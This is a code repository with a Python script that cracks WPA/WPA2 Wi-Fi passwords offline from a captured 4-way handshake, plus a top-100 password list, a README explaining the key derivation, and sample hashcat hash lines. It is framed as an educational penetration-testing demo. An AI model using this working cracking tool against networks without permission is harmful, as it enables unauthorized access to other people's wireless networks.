├── .gitattributes
├── LICENSE
├── passlist.txt
├── crack_handshake.py
├── .gitignore
└── README.md
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 zerodayarcade.com
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/passlist.txt:
--------------------------------------------------------------------------------
1 | 123456
2 | password
3 | 12345678
4 | qwerty
5 | 123456789
6 | 12345
7 | 1234
8 | 111111
9 | 1234567
10 | dragon
11 | 123123
12 | baseball
13 | abc123
14 | football
15 | monkey
16 | letmein
17 | 696969
18 | shadow
19 | master
20 | 666666
21 | qwertyuiop
22 | 123321
23 | mustang
24 | 1234567890
25 | michael
26 | 654321
27 | pussy
28 | superman
29 | 1qaz2wsx
30 | 7777777
31 | fuckyou
32 | 121212
33 | 000000
34 | qazwsx
35 | 123qwe
36 | killer
37 | trustno1
38 | jordan
39 | jennifer
40 | zxcvbnm
41 | asdfgh
42 | hunter
43 | buster
44 | soccer
45 | harley
46 | batman
47 | andrew
48 | tigger
49 | hashcat!
50 | sunshine
51 | iloveyou
52 | fuckme
53 | 2000
54 | charlie
55 | robert
56 | thomas
57 | hockey
58 | ranger
59 | daniel
60 | starwars
61 | klaster
62 | 112233
63 | george
64 | asshole
65 | computer
66 | michelle
67 | jessica
68 | pepper
69 | 1111
70 | zxcvbn
71 | 555555
72 | 11111111
73 | 131313
74 | freedom
75 | 777777
76 | pass
77 | fuck
78 | maggie
79 | 159753
80 | aaaaaa
81 | ginger
82 | princess
83 | joshua
84 | cheese
85 | amanda
86 | summer
87 | love
88 | ashley
89 | 6969
90 | nicole
91 | chelsea
92 | biteme
93 | matthew
94 | access
95 | yankees
96 | 987654321
97 | dallas
98 | austin
99 | thunder
100 | taylor
101 | matrix
102 | minecraft
--------------------------------------------------------------------------------
/crack_handshake.py:
--------------------------------------------------------------------------------
1 | import hashlib, hmac, sys, struct
2 |
3 | # Default Values
4 | hashline = None
5 | passlist_src="passlist.txt"
6 |
7 | # Pull values from hashline if given (hc22000)
8 | if len(sys.argv) > 1:
9 | hashline=sys.argv[1]
10 | hl = hashline.split("*")
11 | mic = bytes.fromhex(hl[2])
12 | mac_ap = bytes.fromhex(hl[3])
13 | mac_cl = bytes.fromhex(hl[4])
14 | essid = bytes.fromhex(hl[5])
15 | nonce_ap = bytes.fromhex(hl[6])
16 | nonce_cl = bytes.fromhex(hl[7][34:98]) # Client Nonce is part of EAPoL Client
17 | eapol_client = bytes.fromhex(hl[7])
18 | if len(sys.argv) > 2: passlist_src=sys.argv[2]
19 |
20 | # Read passlist.txt into a python list
21 | with open(passlist_src, 'r') as f:
22 | passlist = f.read().splitlines()
23 |
24 | def crack_handshake(mic, mac_ap, mac_cl, essid, nonce_ap, nonce_cl, eapol_client):
25 | print('\033[95m')
26 | print("MIC: ", mic.hex())
27 | print("SSID: ", essid.decode())
28 | print("AP MAC Address: ", "%02x:%02x:%02x:%02x:%02x:%02x" % struct.unpack("BBBBBB", mac_ap))
29 | print("Client MAC Address: ", "%02x:%02x:%02x:%02x:%02x:%02x" % struct.unpack("BBBBBB", mac_cl))
30 | print("AP Nonce: ", nonce_ap.hex())
31 | print("Client Nonce: ", nonce_cl.hex())
32 | print("\nEAPoL Client: ", "\n" + eapol_client.hex())
33 | print('\x1b[0m')
34 |
35 | proceed = input("Attempt crack with these settings? (y/n): ")
36 | if proceed in ["y", ""]: pass
37 | else: return
38 | print('\033[1m' + '\33[33m' + "Attempting to crack password...\n" + '\x1b[0m')
39 |
40 | # Set order of byte strings (min, max)
41 | def min_max(a, b):
42 | if len(a) != len(b): raise 'Unequal byte string lengths'
43 | for entry in list(zip( list(bytes(a)), list(bytes(b)) )):
44 | if entry[0] < entry[1]: return (a, b)
45 | elif entry[1] < entry[0]: return (b, a)
46 | return (a, b)
47 |
48 | macs = min_max(mac_ap, mac_cl)
49 | nonces = min_max(nonce_ap, nonce_cl)
50 | ptk_inputs = b''.join([b'Pairwise key expansion\x00',
51 | macs[0], macs[1], nonces[0], nonces[1], b'\x00'])
52 |
53 | for password in passlist:
54 | password = password.encode()
55 | pmk = hashlib.pbkdf2_hmac('sha1', password, essid, 4096, 32)
56 | ptk = hmac.new(pmk, ptk_inputs, hashlib.sha1).digest()
57 | try_mic = hmac.new(ptk[:16], eapol_client, hashlib.sha1).digest()[:16]
58 |
59 | if (try_mic == mic):
60 | print('\033[92m' + try_mic.hex(), "- Matches captured MIC\n")
61 | print("Password Cracked!\n" + '\x1b[0m')
62 | print("SSID: ", essid.decode())
63 | print("Password: ", password.decode(), "\n")
64 | return
65 | print(try_mic.hex())
66 |
67 | print('\033[91m' + "\nFailed to crack password. " +
68 | "It may help to try a different passwords list. " + '\x1b[0m' + "\n")
69 |
70 | if len(sys.argv) > 1:
71 | crack_handshake(mic, mac_ap, mac_cl, essid, nonce_ap, nonce_cl, eapol_client)
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py,cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | .pybuilder/
76 | target/
77 |
78 | # Jupyter Notebook
79 | .ipynb_checkpoints
80 |
81 | # IPython
82 | profile_default/
83 | ipython_config.py
84 |
85 | # pyenv
86 | # For a library or package, you might want to ignore these files since the code is
87 | # intended to run in multiple environments; otherwise, check them in:
88 | # .python-version
89 |
90 | # pipenv
91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
94 | # install all needed dependencies.
95 | #Pipfile.lock
96 |
97 | # poetry
98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
99 | # This is especially recommended for binary packages to ensure reproducibility, and is more
100 | # commonly ignored for libraries.
101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
102 | #poetry.lock
103 |
104 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
105 | __pypackages__/
106 |
107 | # Celery stuff
108 | celerybeat-schedule
109 | celerybeat.pid
110 |
111 | # SageMath parsed files
112 | *.sage.py
113 |
114 | # Environments
115 | .env
116 | .venv
117 | env/
118 | venv/
119 | ENV/
120 | env.bak/
121 | venv.bak/
122 |
123 | # Spyder project settings
124 | .spyderproject
125 | .spyproject
126 |
127 | # Rope project settings
128 | .ropeproject
129 |
130 | # mkdocs documentation
131 | /site
132 |
133 | # mypy
134 | .mypy_cache/
135 | .dmypy.json
136 | dmypy.json
137 |
138 | # Pyre type checker
139 | .pyre/
140 |
141 | # pytype static type analyzer
142 | .pytype/
143 |
144 | # Cython debug symbols
145 | cython_debug/
146 |
147 | # PyCharm
148 | # JetBrains specific template is maintainted in a separate JetBrains.gitignore that can
149 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
150 | # and can be added to the global gitignore or merged into this file. For a more nuclear
151 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
152 | #.idea/
153 |
154 | **/*.DS_Store
155 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Cracking WPA/WPA2 WiFi Passwords from a Captured Handshake
2 | A python script for cracking WPA/WPA2 PSK passwords with a captured handshake.
3 |
4 | For capturing a handshake, see the other repo: Capturing a 4-Way Handshake from WPA/WPA2 WiFi Networks with a Python Script.
5 |
6 | This script can crack WiFi passwords for WPA and WPA2 networks when supplied with information contained within captured packets from a 4-way handshake. In other words when supplied with:
7 | 1. MIC
8 | 2. SSID
9 | 3. MAC address of the Access Point (AP)
10 | 4. MAC address of the Client
11 | 5. Nonce for the AP
12 | 6. EAPoL of Client (which includes Nonce for Client)
13 |
14 | along with a passwords list.
15 |
16 | A sample list of the top 100 passwords is included for testing. In a real world scenario, you'd typically use a much larger list. This script is for demonstration purposes and built for comprehension over speed. It is meant to help those looking to build their own cracking tools get started with a bare-bones example.
17 |
18 | ***Reminder:** Only ever hack a network that you own and have legal permission to hack. Any hacking skills/knowledge gained from this repository should only be used within the context of security research, penetration testing, password recovery, and education.*
19 |
20 | ## Background Information
21 |
22 | When a client machine connects to an access point (AP) such as a wireless router, a 4-way handshake takes place. Packets from this exchange can be captured by a third party listening for packets with a wireless adapter set to monitor or promiscuous mode. Contained within these packets is the information above, which ultimately contains the password to the WiFi network if the network is secured with a PSK. The reason this is not normally an issue is because the password is scrambled through several layers of encryption making the information seemingly useless.
23 |
24 | However, the hashing functions that mask the true password can be used in conjunction with a list of common passwords in order to potentially crack the password and gain unauthorized access to the network. A hacker can take a list of potential passwords and run each one through the same hashing functions the access point uses to see if any produce the same MIC value that was captured in the 4-way handshake. If any of them do, then the hacker knows that they have the correct password.
25 |
26 | Note that this is much different than attempting to login to the network by typing in different passwords and seeing if any of them work. This process happens offline. Once the MIC and other information is obtained from the handshake, the hacker can make as many attempts as they want to find the password without having to interact with the Access Point again until they're ready to connect with the cracked password.
27 |
28 |
29 | ## How the script works
30 |
31 | You can use our WPA/WPA2 Handshake Capture script to obtain a MIC (+Nonces and EAPoL frames) from an AP with a ~$10 WiFi adapter. This will also produce a `WPA*02` hashcat hc22000 format hash line that you can run directly with this script (see below). Alternatively you can obtain this information with hcxdumptool or the ESP32 Wi-Fi Penetration Tool.
32 |
33 | This script (`crack_handshake.py`) does the password cracking that comes after the MIC / Nonces/ EAPoL frames have been obtained from the Access Point.
34 |
35 | To generate a potential matching MIC with a test password from the passwords list, the following steps are taken:
36 | 1. A PMK (Pairwise Master Key) is computed using a cryptographic function called PBKDF2 with the test password and SSID as inputs
37 | 2. A PTK is then calculated from the PMK, the MAC addresses from the AP and Client, and Nonces from the AP and Client as inputs.
38 | 3. A MIC is then computed from the first 16 bytes of the PTK (the KCK), and data from an EAPoL frame.
39 |
40 | In order to crack a password, `crack_handshake.py` simply loops through a list of likely passwords and does the above 3 steps with each test password until a matching MIC is found. It is essentially a less sophisticated, CPU-based way of doing something similar to what hashcat does with a dictionary attack in hash mode 22000 with known MIC + Nonces + EAPoL frames.
41 |
42 | Personally, I like to have short and simple code examples to build off of, or to port to other languages. All of the code uses only standard python libraries. There's only about ~70 total lines of python, and without print statements and spaces it's closer to ~40 lines total.
43 |
44 | ## Running the script
45 |
46 | This script is built to work with hashcat hash lines (hc22000 format) out of the box. For those unfamiliar, these hash lines contain all of the information described above when they start with `WPA*02`. To attempt a crack with one of these hash lines simply run:
47 | ```
48 | python3 crack_handshake.py """"""
49 | ```
50 | **IMPORTANT:** When running the script in this manor make sure to use triple quotes around the hash line. Otherwise characters like `*` in the hash line can cause the script to run incorrectly and can cause weird problems in your Terminal.
51 |
52 | Note that `` can be ommited to simply use the sample `passlist.txt` file that comes with this repo.
53 |
54 | The script can also be imported by other python scripts and the `crack_handshake()` function can be supplied with parameters like so:
55 | ```
56 | crack_handshake(mic, mac_ap, mac_cl, essid, nonce_ap, nonce_cl, eapol_client)
57 | ```
58 | The function expects each parameter to be a valid byte string.
59 |
60 | ## Getting and Testing the Script:
61 | Clone the project:
62 | ```
63 | git clone https://github.com/ZeroDayArcade/cracking-wpa-with-handshake.git
64 | ```
65 | cd into project directory:
66 | ```
67 | cd cracking-wpa-with-handshake
68 | ```
69 | Test the script with a hashcat example:
70 | ```
71 | python3 crack_handshake.py """WPA*02*024022795224bffca545276c3762686f*6466b38ec3fc*225edc49b7aa*54502d4c494e4b5f484153484341545f54455354*10e3be3b005a629e89de088d6a2fdc489db83ad4764f2d186b9cde15446e972e*0103007502010a0000000000000000000148ce2ccba9c1fda130ff2fbbfb4fd3b063d1a93920b0f7df54a5cbf787b16171000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac028000*a2""" passlist.txt
72 | ```
73 |
74 | Another hashcat example from the hashcat forums (Source):
75 |
76 | ```
77 | python3 crack_handshake.py """WPA*02*1709ba709b92c3eb7b662036b02e843c*6c5940096fb6*64cc2edaeb52*6c686c64*ca37bb6be93179b0ce86e0f4e393d742fca6854ace6791f29a7d0c0ec1534086*0103007502010a00000000000000000001f09960e32863aa57ba250769b6e12d959a5a1f1cc8939d6bed4401a16092fa72000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00"""
78 | ```
79 |
80 | Our sample password list is enough to successfully crack both of these examples. And of course you can always supply your own passwords list, or add your own passwords to passlist.txt.
81 |
82 | This script was tested on several versions of Linux including Kali Linux running on a x86-64 Intel machine and Raspian (on a Raspberry Pi 4/ARM processor) as well as on macOS and Windows. It was tested with hashcat examples from the hashcat forums and with real captured frames from a simple penetration test with a weak password. It should work on pretty much everything running Python 3, and was tested with Python 3.7 through 3.11.
83 |
84 |
85 | ## Acknowledgements
86 | `passlist.txt` is a sample list taken from the top 100 most common passwords put together by Daniel Miessler. I've added "hashcat!" to the list for the example hash. See the original list here:
87 | https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt
88 |
89 |
90 |
91 | # More Zero Day Arcade Resources:
92 | **Learn Reverse Engineering, Assembly, Code Injection and More:**
93 | 🎓 zerodayarcade.com/tutorials
94 |
95 | **More WiFi Hacking with Simple Python Scripts:**
96 | Capturing PMKID from WiFi Networks
97 | Cracking WiFi Passwords with PMKID
98 | Capturing 4-Way Handshake from WPA/WPA2 Networks
99 |
100 |
101 |
--------------------------------------------------------------------------------